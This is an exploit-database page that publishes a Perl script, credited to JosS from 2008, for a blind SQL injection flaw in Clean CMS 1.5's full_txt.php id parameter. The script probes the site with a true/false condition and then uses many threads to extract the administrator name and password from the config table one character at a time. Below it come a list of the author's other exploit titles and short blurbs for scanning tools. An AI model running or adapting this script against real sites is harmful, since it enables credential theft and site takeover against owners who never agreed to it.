Menu

Search for hundreds of thousands of exploits

"Clean CMS 1.5 - Blind SQL Injection"

Author

Exploit author

JosS

Platform

Exploit platform

php

Release date

Exploit published date

2008-11-25

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
# Clean CMS 1.5 (full_txt.php id) Blind SQL Injection Exploit
# url: http://www.4yoursite.nl/script_clean_cms.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://hack0wn.com && spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Hack0wn :D

my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 32 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;

 
use LWP::UserAgent ;
 
sub _HELP_AND_EXIT
{
    die "
 
  ./$0 -u <url> -p <pattern>
 
 Options:
  -u    <url>               Ex: http://localhost/full_txt.php?id=19
  -p    <pattern>           HTML pattern.
 
 Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
 
  Example:
 
  ./$0 -u \"http://localhost/full_txt.php?id=19\" -p Concurso
 
" ;
}
 
 
    my ($p, $w) = ({ @ARGV }, { }) ;
 
    map {
        &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
    } keys %$p ;
 
    map {
        die "[!] Require: $_\n[!] Help: ./$0 --help\n" unless $p->{ $_ } ;
    } qw/-u -p/ ;
 
    $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
    $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
    $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
 
    map {
        warn "[i] Getting default: $_ $w->{ $_ }\n" ;
    } sort keys %$w ;
 
    ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
 
 
 
 
sub _START_WORK
{
    my $p = shift ;
 
    my $position = 1 ;
 
    pipe(R, W) ;
    pipe(Rs, Ws) ;
    autoflush STDOUT 1 ;
 
    my $sql_message = '' ;
    my $msg = '' ;
    my @pid ;
 
    while( $position <= $p->{'-l'} )
    {
        my $cf ;
        unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
        push(@pid, $cf) ;
 
        my $count = 0 ;
        my $can_exit ;
        my $char_printed ;
 
        while(<R>)
        {
            chomp ;
            push(@pid, (split(/:/))[1] ) if /^pid/ ;
 
            my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
            $count++ if $pos == $position ;
 
            print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
 
            if( $res eq 'yes' and $pos == $position ){
                    $char_printed = $can_exit = 1 ;
                    print Ws "STOP $position\n" ;
                    $sql_message .= chr( $ascii ) ;
            }
 
            last if ( $can_exit or $count == @ascii );
        }
 
        map { waitpid($_, 0) } @pid ;
 
        unless( $char_printed )
        {
            if( $EXIT_IF_NO_CHAR )
            {
                warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
                last ;
            }
        }
 
        $position++ ;
    }
 
    print "[i] USER / PASSWORD:\n$sql_message\n" ;
 
}
 
sub _CHECKING
{
    my ($p, $position) = @_ ;
    my $counter = 0 ;
    my $stop_position ;
 
    foreach my $ascii ( @ascii )
    {
        $counter++ ;
 
        if( $counter % $p->{'-t'} == 0 )
        {
            my $stop_position ;
            eval
            {
                $SIG{'ALRM'} = sub { die "non_stop\n" } ;
                alarm $DEFAULT_THREADS_TIME ;
                my $line = <Rs> ;
                $stop_position = (split( / /, $line))[1] ;
                alarm 0 ;
            } ;
 
            if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
        }
 
        unless(my $pid = fork )
        {
            print Ws "pid:$pid\n" or die ;
 
 
            my $url = $p->{'-u'} .
                ' AND ascii(substring((SELECT CONCAT(admin_name,0x202f20,admin_pass) FROM config LIMIT 0,1),' . $position . ',1))='. $ascii ;
 
            my $ua = LWP::UserAgent->new ;
            $ua->timeout( $p->{'-T'} ) ;
 
            my $content ;
            while( 1 )
            {
                last if $content = $ua->get( $url )->content ;
            }
 
            ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
 
            exit( 0 ) ;
        }
 
    }
}
 
 
 
sub _IS_VULN
{
    my $p = shift ;
 
    my $ua = LWP::UserAgent->new ;
    $ua->timeout( $p->{'-T'} ) ;
 
    my ( $one, $two ) = (
        $ua->get( $p->{'-u'}." AND 1=1")->content ,
        $ua->get( $p->{'-u'}." AND 1=2")->content ,
    ) ;
 
    return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}

# milw0rm.com [2008-11-25]
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2012-06-16 "Simple Document Management System 1.1.5 - Multiple SQL Injections" webapps php JosS
2010-09-10 "symphony 2.0.7 - Multiple Vulnerabilities" webapps php JosS
2010-08-29 "Multi-lingual E-Commerce System 0.2 - Multiple Remote File Inclusions" webapps php JosS
2010-07-22 "AJ HYIP PRIME - 'welcome.php?id' Blind SQL Injection" webapps php JosS
2010-07-22 "AJ HYIP MERIDIAN - 'news.php?id' Blind SQL Injection" webapps php JosS
2010-04-16 "SIESTTA 2.0 - Local File Inclusion / Cross-Site Scripting" webapps php JosS
2010-03-29 "xwine 1.0.1 - '.exe' Local Crash (PoC)" dos linux JosS
2010-03-27 "Simple Machines Forum (SMF) 1.1.8 - 'avatar' Remote PHP File Execute" webapps php JosS
2010-03-05 "E-topbiz Link ADS 1 PHP script - 'linkid' Blind SQL Injection" webapps php JosS
2010-03-03 "MiNBank 1.5.0 - Remote Command Execution" webapps php JosS
2009-06-24 "LightOpenCMS 0.1 - 'smarty.php?cwd' Local File Inclusion" webapps php JosS
2009-06-24 "PHPEcho CMS 2.0-rc3 - 'forum' Cross-Site Scripting Cookie Stealing / Blind SQL Injection" webapps php JosS
2009-04-20 "Studio Lounge Address Book 2.5 - 'profile' Arbitrary File Upload" webapps php JosS
2009-04-16 "SMA-DB 0.3.13 - Multiple Remote File Inclusions" webapps php JosS
2009-02-23 "pPIM 1.01 - 'notes.php' Remote Command Execution" webapps php JosS
2009-02-06 "1024 CMS 1.4.4 - Remote Command Execution / Remote File Inclusion" webapps php JosS
2009-02-04 "GR Note 0.94 Beta - (Authentication Bypass) Remote Database Backup" webapps asp JosS
2009-02-04 "gr blog 1.1.4 - Arbitrary File Upload / Authentication Bypass" webapps php JosS
2009-01-05 "Cybershade CMS 0.2b - 'index.php' Remote File Inclusion" webapps php JosS
2008-11-25 "Clean CMS 1.5 - Blind SQL Injection" webapps php JosS
2008-11-03 "pppBlog 0.3.11 - File Disclosure" webapps php JosS
2008-11-02 "Maran PHP Shop - 'admin.php' Insecure Cookie Handling" webapps php JosS
2008-11-02 "Maran PHP Shop - 'prod.php' SQL Injection" webapps php JosS
2008-11-01 "Bloggie Lite 0.0.2 Beta - Insecure Cookie Handling / SQL Injection" webapps php JosS
2008-10-23 "aflog 1.01 - Multiple Insecure Cookie Handling Vulnerabilities" webapps php JosS
2008-10-21 "LightBlog 9.8 - 'GET' / 'POST' / 'COOKIE' Local File Inclusion" webapps php JosS
2008-10-16 "Kure 0.6.3 - 'index.php' Local File Inclusion" webapps php JosS
2008-10-16 "IP Reg 0.4 - Multiple SQL Injections" webapps php JosS
2008-10-15 "mystats - 'hits.php' Multiple Vulnerabilities" webapps php JosS
2008-10-15 "myEvent 1.6 - 'eventdate' SQL Injection" webapps php JosS
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.